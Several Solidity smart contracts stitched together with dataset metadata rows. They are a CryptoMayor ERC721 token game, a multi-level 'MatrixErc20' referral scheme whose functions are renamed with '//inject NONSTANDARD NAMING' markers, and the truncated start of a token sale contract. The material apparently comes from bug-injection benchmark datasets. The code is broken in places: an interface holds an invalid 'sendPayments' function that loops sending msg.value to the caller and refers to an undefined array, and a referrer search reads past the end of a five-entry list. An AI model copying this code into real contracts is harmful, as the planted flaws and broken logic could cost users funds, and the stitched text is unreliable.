paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CryptoMayorToken is ERC721, Ownable, Pausable {
using SafeMath for uint256;
// Total amount of tokens
uint256 private totalTokens;
uint256[] private listed;
uint256 public devOwed;
uint256 public cityPoolTotal;
uint256 public landmarkPoolTotal;
uint256 public otherPoolTotal;
uint256 public lastPurchase;
// Token Data
mapping (uint256 => Token) private tokens;
// Mapping from token ID to owner
mapping (uint256 => address) private tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private tokenApprovals;
// Mapping from owner to list of owned token IDs
mapping (address => uint256[]) private ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private ownedTokensIndex;
// Balances from % payouts.
mapping (address => uint256) private payoutBalances;
// Events
event Purchased(uint256 indexed _tokenId, address indexed _owner, uint256 _purchasePrice);
// Purchasing Caps for Determining Next Pool Cut
uint256 private firstCap = 0.5 ether;
uint256 private secondCap = 1.0 ether;
uint256 private thirdCap = 3.0 ether;
uint256 private finalCap = 5.0 ether;
// Percentages
uint256 public feePercentage = 5;
uint256 public dividendCutPercentage = 100; // 100 / 10000
uint256 public dividendDecreaseFactor = 2;
uint256 public powermayorCutPercentage = 1;
uint256 public mayorCutPercentage = 1;
uint256 public cityPoolCutPercentage = 15;
// Mayors
uint256 private powermayorTokenId = 10000000;
uint256 private CITY = 1;
uint256 private LANDMARK = 2;
uint256 private OTHER = 3;
// Struct to store Token Data
struct Token {
uint256 price; // Current price of the item.
uint256 lastPrice; // lastPrice this was sold for, used for adding to pool.
uint256 payout; // The percent of the pool rewarded.
uint256 withdrawn; // The amount of Eth this token has withdrawn from the pool.
address owner; // Current owner of the item.
uint256 mayorTokenId; // Current mayor of the token - 1% mayorCut
uint8 kind; // 1 - city, 2 - landmark, 3 - other
address[5] previousOwners;
}
function createToken(uint256 _tokenId, uint256 _price, uint256 _lastPrice, uint256 _payoutPercentage, uint8 _kind, uint256 _mayorTokenId, address _owner) onlyOwner() public {
require(_price > 0);
require(_lastPrice < _price);
// make sure token hasn't been used yet
require(tokens[_tokenId].price == 0);
// check for kinds
require(_kind > 0 && _kind <= 3);
// create new token
Token storage newToken = tokens[_tokenId];
newToken.owner = _owner;
newToken.price = _price;
newToken.lastPrice = _lastPrice;
newToken.payout = _payoutPercentage;
newToken.kind = _kind;
newToken.mayorTokenId = _mayorTokenId;
newToken.previousOwners = [address(this), address(this), address(this), address(this), address(this)];
// store token in storage
listed.push(_tokenId);
// mint new token
_mint(_owner, _tokenId);
}
function createMultiple (uint256[] _itemIds, uint256[] _prices, uint256[] _lastPrices, uint256[] _payouts, uint8[] _kinds, uint256[] _mayorTokenIds, address[] _owners) onlyOwner() external {
for (uint256 i = 0; i < _itemIds.length; i++) {
createToken(_itemIds[i], _prices[i], _lastPrices[i], _payouts[i], _kinds[i], _mayorTokenIds[i], _owners[i]);
}
}
function getNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < firstCap) {
return _price.mul(200).div(100 - feePercentage);
} else if (_price < secondCap) {
return _price.mul(135).div(100 - feePercentage);
} else if (_price < thirdCap) {
return _price.mul(125).div(100 - feePercentage);
} else if (_price < finalCap) {
return _price.mul(117).div(100 - feePercentage);
} else {
return _price.mul(115).div(100 - feePercentage);
}
}
function calculatePoolCut (uint256 _price) public view returns (uint256 _poolCut) {
if (_price < firstCap) {
return _price.mul(10).div(100);
} else if (_price < secondCap) {
return _price.mul(9).div(100);
} else if (_price < thirdCap) {
return _price.mul(8).div(100);
} else if (_price < finalCap) {
return _price.mul(7).div(100);
} else {
return _price.mul(5).div(100);
}
}
function purchase(uint256 _tokenId) public
payable
isNotContract(msg.sender)
{
require(!paused);
// get data from storage
Token storage token = tokens[_tokenId];
uint256 price = token.price;
address oldOwner = token.owner;
// revert checks
require(price > 0);
require(msg.value >= price);
require(oldOwner != msg.sender);
// Calculate pool cut for taxes.
uint256 priceDelta = price.sub(token.lastPrice);
uint256 poolCut = calculatePoolCut(priceDelta);
_updatePools(token.kind, poolCut);
uint256 fee = price.mul(feePercentage).div(100);
devOwed = devOwed.add(fee);
// Dividends
uint256 taxesPaid = _payDividendsAndMayors(token, price);
_shiftPreviousOwners(token, msg.sender);
transferToken(oldOwner, msg.sender, _tokenId);
// Transfer payment to old owner minus the developer's and pool's cut.
// Calculate the winnings for the previous owner.
uint256 finalPayout = price.sub(fee).sub(poolCut).sub(taxesPaid);
// set new prices
token.lastPrice = price;
token.price = getNextPrice(price);
// raise event
Purchased(_tokenId, msg.sender, price);
if (oldOwner != address(this)) {
oldOwner.transfer(finalPayout);
}
// Calculate overspending
uint256 excess = msg.value - price;
if (excess > 0) {
// Refund overspending
msg.sender.transfer(excess);
}
// set last purchase price to storage
lastPurchase = now;
}
/// @dev Shift the 6 most recent buyers, and add the new buyer
/// to the front.
/// @param _newOwner The buyer to add to the front of the recent
/// buyers list.
function _shiftPreviousOwners(Token storage _token, address _newOwner) private {
_token.previousOwners[4] = _token.previousOwners[3];
_token.previousOwners[3] = _token.previousOwners[2];
_token.previousOwners[2] = _token.previousOwners[1];
_token.previousOwners[1] = _token.previousOwners[0];
_token.previousOwners[0] = _newOwner;
}
function _updatePools(uint8 _kind, uint256 _poolCut) internal {
uint256 poolCutToMain = _poolCut.mul(cityPoolCutPercentage).div(100);
if (_kind == CITY) {
cityPoolTotal += _poolCut;
} else if (_kind == LANDMARK) {
cityPoolTotal += poolCutToMain;
landmarkPoolTotal += _poolCut.sub(poolCutToMain);
} else if (_kind == OTHER) {
cityPoolTotal += poolCutToMain;
otherPoolTotal += _poolCut.sub(poolCutToMain);
}
}
// 1%, 0.5%, 0.25%, 0.125%, 0.0625%
function _payDividendsAndMayors(Token _token, uint256 _price) private returns (uint256 paid) {
uint256 dividend0 = _price.mul(dividendCutPercentage).div(10000);
uint256 dividend1 = dividend0.div(dividendDecreaseFactor);
uint256 dividend2 = dividend1.div(dividendDecreaseFactor);
uint256 dividend3 = dividend2.div(dividendDecreaseFactor);
uint256 dividend4 = dividend3.div(dividendDecreaseFactor);
// Pay first dividend.
if (_token.previousOwners[0] != address(this)) {_token.previousOwners[0].transfer(dividend0); paid = paid.add(dividend0);}
if (_token.previousOwners[1] != address(this)) {_token.previousOwners[1].transfer(dividend1); paid = paid.add(dividend1);}
if (_token.previousOwners[2] != address(this)) {_token.previousOwners[2].transfer(dividend2); paid = paid.add(dividend2);}
if (_token.previousOwners[3] != address(this)) {_token.previousOwners[3].transfer(dividend3); paid = paid.add(dividend3);}
if (_token.previousOwners[4] != address(this)) {_token.previousOwners[4].transfer(dividend4); paid = paid.add(dividend4);}
uint256 tax = _price.mul(1).div(100);
if (tokens[powermayorTokenId].owner != address(0)) {
tokens[powermayorTokenId].owner.transfer(tax);
paid = paid.add(tax);
}
if (tokens[_token.mayorTokenId].owner != address(0)) {
tokens[_token.mayorTokenId].owner.transfer(tax);
paid = paid.add(tax);
}
}
function transferToken(address _from, address _to, uint256 _tokenId) internal {
// check token exists
require(tokenExists(_tokenId));
// make sure previous owner is correct
require(tokens[_tokenId].owner == _from);
require(_to != address(0));
require(_to != address(this));
// pay any unpaid payouts to previous owner of token
updateSinglePayout(_from, _tokenId);
// clear approvals linked to this token
clearApproval(_from, _tokenId);
// remove token from previous owner
removeToken(_from, _tokenId);
// update owner and add token to new owner
tokens[_tokenId].owner = _to;
addToken(_to, _tokenId);
//raise event
Transfer(_from, _to, _tokenId);
}
function withdraw() onlyOwner public {
owner.transfer(devOwed);
devOwed = 0;
}
function updatePayout(address _owner) public {
uint256[] memory ownerTokens = ownedTokens[_owner];
uint256 owed;
for (uint256 i = 0; i < ownerTokens.length; i++) {
uint256 totalOwed;
if (tokens[ownerTokens[i]].kind == CITY) {
totalOwed = cityPoolTotal * tokens[ownerTokens[i]].payout / 10000;
} else if (tokens[ownerTokens[i]].kind == LANDMARK) {
totalOwed = landmarkPoolTotal * tokens[ownerTokens[i]].payout / 10000;
} else if (tokens[ownerTokens[i]].kind == OTHER) {
totalOwed = otherPoolTotal * tokens[ownerTokens[i]].payout / 10000;
}
uint256 totalTokenOwed = totalOwed.sub(tokens[ownerTokens[i]].withdrawn);
owed += totalTokenOwed;
tokens[ownerTokens[i]].withdrawn += totalTokenOwed;
}
payoutBalances[_owner] += owed;
}
function priceOf(uint256 _tokenId) public view returns (uint256) {
return tokens[_tokenId].price;
}
function updateSinglePayout(address _owner, uint256 _tokenId) internal {
uint256 totalOwed;
if (tokens[_tokenId].kind == CITY) {
totalOwed = cityPoolTotal * tokens[_tokenId].payout / 10000;
} else if (tokens[_tokenId].kind == LANDMARK) {
totalOwed = landmarkPoolTotal * tokens[_tokenId].payout / 10000;
} else if (tokens[_tokenId].kind == OTHER) {
totalOwed = otherPoolTotal * tokens[_tokenId].payout / 10000;
}
uint256 totalTokenOwed = totalOwed.sub(tokens[_tokenId].withdrawn);
tokens[_tokenId].withdrawn += totalTokenOwed;
payoutBalances[_owner] += totalTokenOwed;
}
function withdrawRent(address _owner) public {
require(_owner != address(0));
updatePayout(_owner);
uint256 payout = payoutBalances[_owner];
payoutBalances[_owner] = 0;
_owner.transfer(payout);
}
function getRentOwed(address _owner) public view returns (uint256 owed) {
require(_owner != address(0));
updatePayout(_owner);
return payoutBalances[_owner];
}
function getToken (uint256 _tokenId) external view
returns (address _owner, uint256 _price, uint256 _lastPrice, uint256 _nextPrice, uint256 _payout, uint8 _kind, uint256 _mayorTokenId, address[5] _previosOwners)
{
Token memory token = tokens[_tokenId];
return (token.owner, token.price, token.lastPrice, getNextPrice(token.price), token.payout, token.kind, token.mayorTokenId, token.previousOwners);
}
function tokenExists (uint256 _tokenId) public view returns (bool _exists) {
return tokens[_tokenId].price > 0;
}
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier isNotContract(address _buyer) {
uint size;
assembly { size := extcodesize(_buyer) }
require(size == 0);
_;
}
function totalSupply() public view returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) public view returns (uint256) {
return ownedTokens[_owner].length;
}
function tokensOf(address _owner) public view returns (uint256[]) {
return ownedTokens[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function approvedFor(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
clearApprovalAndTransfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
address owner = ownerOf(_tokenId);
require(_to != owner);
if (approvedFor(_tokenId) != 0 || _to != 0) {
tokenApprovals[_tokenId] = _to;
Approval(owner, _to, _tokenId);
}
}
function takeOwnership(uint256 _tokenId) public {
require(isApprovedFor(msg.sender, _tokenId));
clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) {
return approvedFor(_tokenId) == _owner;
}
function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal isNotContract(_to) {
require(_to != address(0));
require(_to != ownerOf(_tokenId));
require(ownerOf(_tokenId) == _from);
clearApproval(_from, _tokenId);
updateSinglePayout(_from, _tokenId);
removeToken(_from, _tokenId);
addToken(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _owner);
tokenApprovals[_tokenId] = 0;
Approval(_owner, 0, _tokenId);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addToken(_to, _tokenId);
Transfer(0x0, _to, _tokenId);
}
function addToken(address _to, uint256 _tokenId) private {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
tokens[_tokenId].owner = _to;
uint256 length = balanceOf(_to);
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
totalTokens = totalTokens.add(1);
}
function removeToken(address _from, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _from);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = balanceOf(_from).sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
tokenOwner[_tokenId] = 0;
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
totalTokens = totalTokens.sub(1);
}
function name() public pure returns (string _name) {
return "CryptoMayor.io";
}
function symbol() public pure returns (string _symbol) {
return "CMC";
}
function setFeePercentage(uint256 _newFee) onlyOwner public {
require(_newFee <= 5);
require(_newFee >= 3);
feePercentage = _newFee;
}
function setMainPoolCutPercentage(uint256 _newFee) onlyOwner public {
require(_newFee <= 30);
require(_newFee >= 5);
cityPoolCutPercentage = _newFee;
}
function setDividendCutPercentage(uint256 _newFee) onlyOwner public {
require(_newFee <= 200);
require(_newFee >= 50);
dividendCutPercentage = _newFee;
}
// Migration
OldContract oldContract;
function setOldContract(address _addr) onlyOwner public {
oldContract = OldContract(_addr);
}
function populateFromOldContract(uint256[] _ids) onlyOwner public {
for (uint256 i = 0; i < _ids.length; i++) {
// Can't rewrite tokens
if (tokens[_ids[i]].price == 0) {
address _owner;
uint256 _price;
uint256 _lastPrice;
uint256 _nextPrice;
uint256 _payout;
uint8 _kind;
uint256 _mayorTokenId;
(_owner, _price, _lastPrice, _nextPrice, _payout, _kind, _mayorTokenId) = oldContract.getToken(_ids[i]);
createToken(_ids[i], _price, _lastPrice, _payout, _kind, _mayorTokenId, _owner);
}
}
}
}
interface OldContract {
function getToken (uint256 _tokenId) external view
returns (address _owner, uint256 _price, uint256 _lastPrice, uint256 _nextPrice, uint256 _payout, uint8 _kind, uint256 _mayorTokenId);
function sendPayments() public {
for(uint i = 0; i < values.length - 1; i++) {
msg.sender.send(msg.value);
}
}
}
| 202,649 | 577 |
a99a9d288e457193e10d7dbe421629b0e249c549d297f16a687c8248520a07a6
| 15,902 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/contractExtractor/nonStandardNamingExtractor/testCase/0x637B2fb28A9B0d5Fc320a31121b4c9f87b30e45f_nonStandardNaming.sol
| 4,534 | 15,610 |
pragma solidity ^0.5.17;
library SafeMath {
function ADD171(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB705(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB705(a, b, "SafeMath: subtraction overflow");
}
function SUB705(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL180(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV369(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV369(a, b, "SafeMath: division by zero");
}
function DIV369(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD90(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD90(a, b, "SafeMath: modulo by zero");
}
function MOD90(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function TRANSFER190(address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING
function APPROVE617(address spender, uint256 value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM76(address from, address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING
function TOTALSUPPLY562() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF573(address who) external view returns (uint256); //inject NONSTANDARD NAMING
function ALLOWANCE952(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
event TRANSFER195(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL248(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
contract MatrixErc20 {
using SafeMath for uint;
address public ownerWallet;
struct UserStruct {
bool isExist;
uint id;
mapping (address => uint256) tokenRewards;
mapping (address => uint) referrerID; //Token address to Referrer ID
mapping (address => address[]) referral; //Token address to list of addresses
mapping(address => mapping(uint => uint)) levelExpired; //Token address to level number to expiration date
}
uint REFERRER_1_LEVEL_LIMIT = 5;
uint PERIOD_LENGTH = 180 days;
uint ADMIN_FEE_PERCENTAGE = 10;
mapping(address => mapping(uint => uint)) public LEVEL_PRICE; //Token address to level number to price
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
uint public currUserID = 0;
mapping (address => bool) public tokens;
mapping (address => uint256) public ownerFees;
event REGLEVELEVENT510(address indexed _user, address indexed _referrer, uint _time, address _token); //inject NONSTANDARD NAMING
event BUYLEVELEVENT399(address indexed _user, uint _level, uint _time, address _token); //inject NONSTANDARD NAMING
event PROLONGATELEVELEVENT866(address indexed _user, uint _level, uint _time, address _token); //inject NONSTANDARD NAMING
event GETMONEYFORLEVELEVENT355(address indexed _user, address indexed _referral, uint _level, address _token); //inject NONSTANDARD NAMING
event LOSTMONEYFORLEVELEVENT103(address indexed _user, address indexed _referral, uint _level, uint _time, address _token); //inject NONSTANDARD NAMING
function SETPERIODLENGTH571(uint _periodLength) public ONLYOWNER423 { //inject NONSTANDARD NAMING
PERIOD_LENGTH = _periodLength;
}
function SETADMINFEEPERCENTAGE408(uint _adminFeePercentage) public ONLYOWNER423 { //inject NONSTANDARD NAMING
require (_adminFeePercentage >= 0 && _adminFeePercentage <= 100, "Fee must be between 0 and 100");
ADMIN_FEE_PERCENTAGE = _adminFeePercentage;
}
function TOGGLETOKEN328(address _token, bool _enabled) public ONLYOWNER423 { //inject NONSTANDARD NAMING
tokens[_token] = _enabled;
if (_enabled) {
for(uint i = 1; i <= 10; i++) {
users[ownerWallet].levelExpired[_token][i] = 55555555555;
}
users[ownerWallet].referrerID[_token] = 0;
}
}
function SETTOKENPRICEATLEVEL23(address _token, uint _level, uint _price) public ONLYOWNER423 { //inject NONSTANDARD NAMING
require(_level > 0 && _level <= 10, "Invalid level");
LEVEL_PRICE[_token][_level] = _price;
}
function SETTOKENPRICE69(address _token, uint _price1, uint _price2, uint _price3, uint _price4, uint _price5, uint _price6, uint _price7, uint _price8, uint _price9, uint _price10) public ONLYOWNER423 { //inject NONSTANDARD NAMING
LEVEL_PRICE[_token][1] = _price1;
LEVEL_PRICE[_token][2] = _price2;
LEVEL_PRICE[_token][3] = _price3;
LEVEL_PRICE[_token][4] = _price4;
LEVEL_PRICE[_token][5] = _price5;
LEVEL_PRICE[_token][6] = _price6;
LEVEL_PRICE[_token][7] = _price7;
LEVEL_PRICE[_token][8] = _price8;
LEVEL_PRICE[_token][9] = _price9;
LEVEL_PRICE[_token][10] = _price10;
if (!tokens[_token]) {
TOGGLETOKEN328(_token, true);
}
}
constructor() public {
ownerWallet = msg.sender;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
}
modifier ONLYOWNER423() { //inject NONSTANDARD NAMING
require(msg.sender == ownerWallet, 'caller must be the owner');
_;
}
//Use this before going live to avoid issues
function TRANSFEROWNERSHIP988(address newOwner) public ONLYOWNER423 { //inject NONSTANDARD NAMING
require(newOwner != address(0), 'new owner is the zero address');
require(!users[newOwner].isExist, 'new owner needs to be a new address');
UserStruct memory userStruct = UserStruct({
isExist: true,
id: 1
});
users[newOwner] = userStruct;
userList[1] = newOwner;
delete users[ownerWallet];
ownerWallet = newOwner;
}
function REGUSER700(address _token, uint _referrerID) public payable { //inject NONSTANDARD NAMING
require(tokens[_token], "Token is not enabled");
require(!users[msg.sender].isExist, 'User exist');
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referrer Id');
IERC20 token = IERC20(_token);
require(token.TRANSFERFROM76(msg.sender, address(this), LEVEL_PRICE[_token][1]), "Couldn't take the tokens from the sender");
if(users[userList[_referrerID]].referral[_token].length >= REFERRER_1_LEVEL_LIMIT) _referrerID = users[FINDFREEREFERRER993(_token, userList[_referrerID])].id;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID
});
users[msg.sender] = userStruct;
users[msg.sender].referrerID[_token] = _referrerID;
userList[currUserID] = msg.sender;
users[msg.sender].levelExpired[_token][1] = now + PERIOD_LENGTH;
users[userList[_referrerID]].referral[_token].push(msg.sender);
PAYFORLEVEL516(_token, 1, msg.sender);
emit REGLEVELEVENT510(msg.sender, userList[_referrerID], now, _token);
}
function BUYLEVEL817(address _token, uint _level) public payable { //inject NONSTANDARD NAMING
require(users[msg.sender].isExist, 'User not exist');
require(_level > 0 && _level <= 10, 'Incorrect level');
require(tokens[_token], "Token is not enabled");
IERC20 token = IERC20(_token);
require(token.TRANSFERFROM76(msg.sender, address(this), LEVEL_PRICE[_token][_level]), "Couldn't take the tokens from the sender");
if(_level == 1) {
users[msg.sender].levelExpired[_token][1] += PERIOD_LENGTH;
}
else {
for(uint l =_level - 1; l > 0; l--) require(users[msg.sender].levelExpired[_token][l] >= now, 'Buy the previous level');
if(users[msg.sender].levelExpired[_token][_level] == 0) users[msg.sender].levelExpired[_token][_level] = now + PERIOD_LENGTH;
else users[msg.sender].levelExpired[_token][_level] += PERIOD_LENGTH;
}
PAYFORLEVEL516(_token, _level, msg.sender);
emit BUYLEVELEVENT399(msg.sender, _level, now, _token);
}
function GETREFERERINTREE743(address _token, uint _level, address _user) internal view returns(address) { //inject NONSTANDARD NAMING
address referer;
address referer1;
address referer2;
address referer3;
address referer4;
if(_level == 1 || _level == 6) {
referer = userList[users[_user].referrerID[_token]];
}
else if(_level == 2 || _level == 7) {
referer1 = userList[users[_user].referrerID[_token]];
referer = userList[users[referer1].referrerID[_token]];
}
else if(_level == 3 || _level == 8) {
referer1 = userList[users[_user].referrerID[_token]];
referer2 = userList[users[referer1].referrerID[_token]];
referer = userList[users[referer2].referrerID[_token]];
}
else if(_level == 4 || _level == 9) {
referer1 = userList[users[_user].referrerID[_token]];
referer2 = userList[users[referer1].referrerID[_token]];
referer3 = userList[users[referer2].referrerID[_token]];
referer = userList[users[referer3].referrerID[_token]];
}
else if(_level == 5 || _level == 10) {
referer1 = userList[users[_user].referrerID[_token]];
referer2 = userList[users[referer1].referrerID[_token]];
referer3 = userList[users[referer2].referrerID[_token]];
referer4 = userList[users[referer3].referrerID[_token]];
referer = userList[users[referer4].referrerID[_token]];
}
if(!users[referer].isExist) referer = userList[1];
return referer;
}
function PAYFORLEVEL516(address _token, uint _level, address _user) internal { //inject NONSTANDARD NAMING
address referer = GETREFERERINTREE743(_token, _level, _user);
if(users[referer].levelExpired[_token][_level] >= now) {
uint levelPrice = LEVEL_PRICE[_token][_level];
uint payToOwner = levelPrice.MUL180(ADMIN_FEE_PERCENTAGE).DIV369(100);
uint payToReferrer = levelPrice.SUB705(payToOwner);
users[address(uint160(referer))].tokenRewards[_token] = users[address(uint160(referer))].tokenRewards[_token].ADD171(payToReferrer);
ownerFees[_token] = ownerFees[_token].ADD171(payToOwner);
emit GETMONEYFORLEVELEVENT355(referer, msg.sender, _level, _token);
}
else {
emit LOSTMONEYFORLEVELEVENT103(referer, msg.sender, _level, now, _token);
PAYFORLEVEL516(_token, _level, referer);
}
}
function FINDFREEREFERRER993(address _token, address _user) public view returns(address) { //inject NONSTANDARD NAMING
if(users[_user].referral[_token].length < REFERRER_1_LEVEL_LIMIT) return _user;
address[] memory referrals = new address[](315);
referrals[0] = users[_user].referral[_token][0];
referrals[1] = users[_user].referral[_token][1];
referrals[2] = users[_user].referral[_token][2];
referrals[3] = users[_user].referral[_token][3];
referrals[4] = users[_user].referral[_token][4];
address freeReferrer;
bool noFreeReferrer = true;
for(uint i = 0; i < 126; i++) {
if(users[referrals[i]].referral[_token].length == REFERRER_1_LEVEL_LIMIT) {
if(i < 155) {
referrals[(i+1)*2] = users[referrals[i]].referral[_token][0];
referrals[(i+1)*2+1] = users[referrals[i]].referral[_token][2];
referrals[(i+1)*2+2] = users[referrals[i]].referral[_token][3];
referrals[(i+1)*2+3] = users[referrals[i]].referral[_token][4];
referrals[(i+1)*2+4] = users[referrals[i]].referral[_token][5];
}
}
else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, 'No Free Referrer');
return freeReferrer;
}
function WITHDRAW913(address _token) public { //inject NONSTANDARD NAMING
uint256 total = users[msg.sender].tokenRewards[_token];
require(total > 0, "Nothing to withdraw");
users[msg.sender].tokenRewards[_token] = 0;
IERC20 token = IERC20(_token);
require(token.TRANSFER190(msg.sender, total), "Couldn't send the tokens");
}
function _WITHDRAWFEES891(address _token) public ONLYOWNER423 { //inject NONSTANDARD NAMING
uint256 total = ownerFees[_token];
require(total > 0, "Nothing to withdraw");
ownerFees[_token] = 0;
IERC20 token = IERC20(_token);
require(token.TRANSFER190(msg.sender, total), "Couldn't send the tokens");
}
function VIEWUSERREFERRAL790(address _token, address _user) public view returns(address[] memory) { //inject NONSTANDARD NAMING
return users[_user].referral[_token];
}
function VIEWUSERREFERRER85(address _token, address _user) public view returns(uint256) { //inject NONSTANDARD NAMING
return users[_user].referrerID[_token];
}
function VIEWUSERLEVELEXPIRED566(address _token, address _user, uint _level) public view returns(uint) { //inject NONSTANDARD NAMING
return users[_user].levelExpired[_token][_level];
}
function VIEWUSERISEXIST611(address _user) public view returns(bool) { //inject NONSTANDARD NAMING
return users[_user].isExist;
}
function VIEWUSERREWARDS680(address _user, address _token) public view returns(uint256) { //inject NONSTANDARD NAMING
return users[_user].tokenRewards[_token];
}
function BYTESTOADDRESS886(bytes memory bys) private pure returns (address addr) { //inject NONSTANDARD NAMING
assembly {
addr := mload(add(bys, 20))
}
}
function _CLOSE871(address payable _to) public ONLYOWNER423 { //inject NONSTANDARD NAMING
selfdestruct(_to);
}
}
| 277,404 | 578 |
24d763f9a12ef7415f0dfd42d3f8ce79ada539369b4916bb16e0735494b6e85e
| 14,410 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x43649f398fe7bd4881824fefcbecc1c229aa0208.sol
| 3,766 | 14,016 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
interface IWRD {
function balanceOf(address _who) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function addSpecialsaleTokens(address sender, uint256 amount) external;
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract WhitelistAdminRole {
using Roles for Roles.Role;
event WhitelistAdminAdded(address indexed account);
event WhitelistAdminRemoved(address indexed account);
Roles.Role private _whitelistAdmins;
constructor () internal {
_addWhitelistAdmin(msg.sender);
}
modifier onlyWhitelistAdmin() {
require(isWhitelistAdmin(msg.sender));
_;
}
function isWhitelistAdmin(address account) public view returns (bool) {
return _whitelistAdmins.has(account);
}
function addWhitelistAdmin(address account) public onlyWhitelistAdmin {
_addWhitelistAdmin(account);
}
function renounceWhitelistAdmin() public {
_removeWhitelistAdmin(msg.sender);
}
function _addWhitelistAdmin(address account) internal {
_whitelistAdmins.add(account);
emit WhitelistAdminAdded(account);
}
function _removeWhitelistAdmin(address account) internal {
_whitelistAdmins.remove(account);
emit WhitelistAdminRemoved(account);
}
}
contract WhitelistedRole is WhitelistAdminRole {
using Roles for Roles.Role;
event WhitelistedAdded(address indexed account);
event WhitelistedRemoved(address indexed account);
Roles.Role private _whitelisteds;
modifier onlyWhitelisted() {
require(isWhitelisted(msg.sender));
_;
}
function isWhitelisted(address account) public view returns (bool) {
return _whitelisteds.has(account);
}
